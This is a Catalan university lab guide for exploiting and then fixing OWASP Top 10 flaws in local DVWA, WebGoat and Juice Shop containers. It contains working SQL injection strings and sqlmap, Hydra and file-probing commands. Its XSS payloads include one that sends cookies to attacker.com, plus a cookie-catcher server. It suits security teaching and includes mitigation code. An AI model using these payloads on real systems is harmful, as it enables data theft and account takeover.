PR5031 - Explotació i Mitigació de Vulnerabilitats OWASP
Objectius
- Explotar les 5 vulnerabilitats OWASP Top 10 més comunes en un entorn controlat
- Comprendre el mecanisme tècnic de cada vulnerabilitat
- Implementar les mitigacions recomanades per OWASP
- Usar Burp Suite com a proxy d'intercepció
- Documentar les vulnerabilitats en format CVE/CWE
Prerequisits
| Element | Detall |
|---|---|
| Temps estimat | 5 hores |
| Eines necessàries | Docker Desktop, navegador web, Burp Suite Community (gratuït) |
| Entorn | Exclusivament en Docker local - MAI en sistemes reals |
| Legal | Únicament en sistemes propis o autoritzats |
Avís legal
Les tècniques d'explotació d'aquesta pràctica únicament s'han d'aplicar en entorns de laboratori controlats (Docker local). Aplicar-les en sistemes reals sense autorització escrita és un delicte penal a l'article 197 bis del Codi Penal espanyol.
Introducció
En aquesta pràctica treballem sobre WebGoat i DVWA (Damn Vulnerable Web Application), aplicacions web dissenyades específicament per a aprendre seguretat web practicant. L'objectiu no és sols explotar vulnerabilitats, sinó entendre el codi vulnerable i com corregir-lo.
flowchart LR
BROWSER[Navegador] -->|Peticions HTTP| BURP[Burp Suite\nProxy :8080]
BURP -->|Modifica peticions| WEBGOAT[WebGoat :8081\nDVWA :8082]
WEBGOAT --> DB[(Base de Dades\nvulnerable)]
Part 1: Configuració de l'entorn
1.1 Docker Compose
# docker-compose.yml
version: '3.8'
services:
# WebGoat: plataforma d'aprenentatge OWASP
webgoat:
image: webgoat/webgoat:latest
container_name: webgoat-NOMCOGNOM
hostname: webgoat-NOMCOGNOM
ports:
- "8081:8080"
environment:
- WEBGOAT_HOST=0.0.0.0
networks:
- lab_net
# DVWA: aplicació web vulnerable
dvwa:
image: vulnerables/web-dvwa:latest
container_name: dvwa-NOMCOGNOM
hostname: dvwa-NOMCOGNOM
ports:
- "8082:80"
networks:
- lab_net
# Juice Shop: aplicació OWASP per a CTF
juiceshop:
image: bkimminich/juice-shop:latest
container_name: juiceshop-NOMCOGNOM
hostname: juiceshop-NOMCOGNOM
ports:
- "3000:3000"
networks:
- lab_net
networks:
lab_net:
driver: bridge
internal: false # Necessita accés a Internet per a recursos externs
1.2 Configurar Burp Suite com a proxy
- Obrir Burp Suite Community → Proxy → Proxy Settings
- Configurar el proxy a
127.0.0.1:8080 - En el navegador (Firefox recomanat), configurar el proxy HTTP a
127.0.0.1:8080 - Visitar
http://burpi descarregar el certificat CA de Burp - Instal·lar el certificat al navegador
# Iniciar l'entorn
docker compose up -d
# Verificar que tot funciona
docker compose ps
# Accedir a les aplicacions:
# WebGoat: http://localhost:8081/WebGoat
# DVWA: http://localhost:8082 (admin/password)
# Juice Shop: http://localhost:3000
Part 2: SQL Injection (A03:2021)
2.1 Explotar SQL Injection a DVWA
# Configuració DVWA: Nivell de Seguretat LOW
# Navegar a: DVWA Security → Security Level → Low → Submit
# Navegar a: SQL Injection
# En el camp "User ID" provar:
1 # Input normal
1' # Error SQL (confirma vulnerabilitat)
1' OR '1'='1 # Tots els usuaris
1' UNION SELECT 1,2 -- # Detectar columnes
1' UNION SELECT user(),database() -- # User i BBDD actuals
1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database() --
Reflexió 1
Quin era el nom de l'usuari i de la base de dades que has extret? Quina taula (o taules) existien a la base de dades vulnerable?
2.2 Mitigació: Prepared Statements
# ❌ Codi VULNERABLE (DVWA level LOW)
def get_user(user_id):
query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)
return cursor.fetchall()
# ✅ Codi SEGUR: Prepared Statements
def get_user_safe(user_id):
query = "SELECT * FROM users WHERE id = %s"
cursor.execute(query, (user_id,)) # user_id és un paràmetre, no s'interpola
return cursor.fetchall()
# ✅ Alternativa ORM (SQLAlchemy)
def get_user_orm(user_id):
return db.session.query(User).filter(User.id == user_id).first()
# L'ORM usa prepared statements automàticament
2.3 Automatitzar l'extracció amb SQLMap
# SQLMap: eina d'automatització de SQL injection
docker run --rm \
--name sqlmap-NOMCOGNOM \
--network practica-owasp_lab_net \
-it paoloo/sqlmap:latest \
-u "http://dvwa-NOMCOGNOM/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<tu_sessio>;security=low" \
--dbs \
--batch
# Extreure taules d'una BBDD concreta
# sqlmap -u "..." --cookie="..." -D dvwa --tables --batch
Part 3: Cross-Site Scripting - XSS (A03:2021)
3.1 XSS Reflexiu
<!-- Provar a DVWA → XSS (Reflected) -->
<!-- En el camp "name" provar: -->
<!-- XSS bàsic -->
<script>alert('XSS!')</script>
<!-- XSS per robar cookies -->
<script>document.location='http://attacker.com/?c='+document.cookie</script>
<!-- XSS per bypass filtres bàsics (mayúscules) -->
<ScRiPt>alert('XSS bypass')</ScRiPt>
<!-- XSS sense <script> (event handler) -->
<img src=x onerror="alert('XSS via img')">
<!-- XSS via SVG -->
<svg onload="alert('SVG XSS')">
3.2 XSS Persistent (Emmagatzemat)
<!-- DVWA → XSS (Stored) → Formulari de comentaris -->
<!-- Payload que s'emmagatzema i s'executa per a TOTS els usuaris: -->
<script>
// Robar cookies de tots els usuaris que vegin el comentari
new Image().src = 'http://127.0.0.1:9999/?stolen=' + document.cookie;
</script>
# Servidor per capturar les cookies robades (per a demostració)
docker run --rm \
--name cookie-catcher-NOMCOGNOM \
--network practica-owasp_lab_net \
-p 9999:80 \
python:alpine \
python -c "
import http.server, urllib.parse
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
params = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if 'stolen' in params:
print(f'[!] Cookie robada: {params[\"stolen\"][0]}')
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('', 80), Handler).serve_forever()
"
3.3 Mitigació XSS
# ❌ Vulnerable: renderitzar HTML de l'usuari directament
@app.route('/comment')
def comment():
user_comment = request.args.get('comment')
return f"<p>El teu comentari: {user_comment}</p>"
# Si user_comment = "<script>alert(1)</script>" → XSS!
# ✅ Segur: Escapar l'HTML
from markupsafe import escape
@app.route('/comment')
def comment_safe():
user_comment = request.args.get('comment', '')
safe_comment = escape(user_comment)
# <script> → <script> (no s'executa)
return f"<p>El teu comentari: {safe_comment}</p>"
# ✅ Content Security Policy (CSP) - capçalera HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self'; img-src 'self' data:; object-src 'none';
# Fins i tot si hi ha XSS, el navegador bloca els scripts externs
Reflexió 2
Quan has executat el XSS persistent, quines galetes has capturat? Per quin motiu és el XSS persistent (emmagatzemat) més perillós que el reflexiu?
Part 4: Autenticació Trencada (A07:2021)
4.1 Atac de força bruta a WebGoat
# Usar Burp Suite Intruder per a força bruta:
# 1. Interceptar la petició de login a WebGoat
# 2. Enviar a Intruder (Ctrl+I)
# 3. Marcar el camp "password" com a §password§
# 4. Carregar una wordlist: /usr/share/wordlists/rockyou.txt
# 5. Iniciar l'atac
# Alternativa: Hydra per a força bruta HTTP
docker run --rm \
--network practica-owasp_lab_net \
-it vanhauser/hydra:latest \
-l admin \
-P /wordlists/top100.txt \
http-post-form \
"webgoat-NOMCOGNOM:8080/WebGoat/login:username=^USER^&password=^PASS^:Invalid credentials"
4.2 Anàlisi de tokens JWT
# Descodificar un token JWT (sense verificar la signatura)
# Exemple de token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx
echo "eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d
# Mostra el payload: {"user":"admin"}
# Provar l'atac "alg:none" (JWT sense signatura)
# Un JWT modificat amb alg=none i rol=admin pot ser acceptat per apps mal configurades
# ✅ Validació correcta de JWT en Python
import jwt
from functools import wraps
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
# Especificar EXPLÍCITAMENT els algorismes permesos
payload = jwt.decode(
token,
app.config['JWT_SECRET'],
algorithms=['HS256'], # Mai acceptar 'none'!
options={'require': ['exp', 'iat', 'sub']} # Camps obligatoris
)
except jwt.ExpiredSignatureError:
return jsonify({'error': 'Token expirat'}), 401
except jwt.InvalidTokenError:
return jsonify({'error': 'Token invàlid'}), 401
return f(payload, *args, **kwargs)
return decorated
Part 5: Configuració de Seguretat Incorrecta (A05:2021)
5.1 Capçaleres de seguretat HTTP
# Analitzar les capçaleres de seguretat d'una app
docker run --rm \
--network practica-owasp_lab_net \
curlimages/curl:latest \
curl -I http://webgoat-NOMCOGNOM:8080/WebGoat/ 2>/dev/null | \
grep -E "Content-Security|X-Frame|X-Content|Strict-Transport|Permissions-Policy"
# Eina securityheaders.com (per a webs públiques)
# Per al lab: usar curl i analitzar manualment
# Flask: afegir capçaleres de seguretat amb Flask-Talisman
from flask_talisman import Talisman
talisman = Talisman(
app,
content_security_policy={
'default-src': "'self'",
'script-src': ["'self'", 'https://cdn.jsdelivr.net'],
'style-src': ["'self'", "'unsafe-inline'"],
},
force_https=True,
strict_transport_security=True,
strict_transport_security_max_age=31536000,
frame_options='DENY',
content_type_options=True,
referrer_policy='strict-origin-when-cross-origin'
)
5.2 Informació sensible exposada
# Buscar fitxers sensibles exposats al servidor web
# (provar únicament en DVWA/WebGoat)
for path in /.git/config /.env /config.php /phpinfo.php /backup.sql /.DS_Store /robots.txt; do
response=$(curl -s -o /dev/null -w "%{http_code}" http://dvwa-NOMCOGNOM/$path)
echo "$path → HTTP $response"
done
Reflexió 3
De la llista de paths, quins han retornat HTTP 200 (existents)? Quin tipus d'informació sensible exposen? Com ho corregiria un administrador de sistemes?
Part 6: Juice Shop - CTF bàsic
Juice Shop té un sistema de punts per a cadascun dels reptes. Completa almenys 5 reptes:
# Accedir a: http://localhost:3000/#/score-board
# Reptes recomanats per a principiants (★ = dificultat):
★ - DOM XSS (XSS en el camp de cerca)
★ - Error Handling (causar un error 500)
★ - Redirects Tier 1 (redirect a un domni no autoritzat)
★★ - Login Admin (accedir sense contrasenya)
★★ - Password Strength (triar una contrasenya de la llista rockyu)
★★★ - Forged Feedback (enviar feedback com un altre usuari)
★★★ - Login Jim (account takeover via SQL injection)
# Consell per al repte "Login Admin" (SQL injection al login):
# Email: ' OR 1=1--
# Password: qualsevol cosa
# Per al repte "DOM XSS":
# En el camp de cerca, introduir:
<iframe src="javascript:alert(`xss`)">
Reflexió 4
Dels 5 reptes completats, quin t'ha semblat el més difícil? Per quin dels OWASP Top 10 correspon cada repte que has completat?
Informe de la pràctica
Crea el document informe_pr5031_NOMCOGNOM.md:
# Informe PR5031 - Vulnerabilitats OWASP
**Alumne**: NOMCOGNOM
**Data**: ____________________
## 1. SQL Injection
### Exploits realitzats
- Dades extretes: [nom_usuari, base_de_dades, taules]
### Mitigació implementada
- [Codi amb prepared statements]
## 2. XSS
### Payloads funcionals
- Reflexiu: [payload]
- Emmagatzemat: [payload + captura cookie]
### Mitigació implementada
- [Codi d'escaping + capçaleres CSP]
## 3. Autenticació trencada
### Atac realitzat
- [Descripció de l'atac de força bruta o JWT]
### Mitigació
- [Validació JWT correcta o rate limiting]
## 4. Capçaleres de seguretat
### Capçaleres trobades/absents
- [Taula de capçaleres analitzades]
### Capçaleres afegides
- [Configuració Flask-Talisman o equivalent]
## 5. Juice Shop
| Repte | Dificultat | Categoria OWASP | Descripció de la solució |
|-------|------------|-----------------|--------------------------|
| | | | |
...
## 6. Reflexions
[Respostes a les 4 reflexions]
Rúbrica
Vegeu Rúbrica PR5031.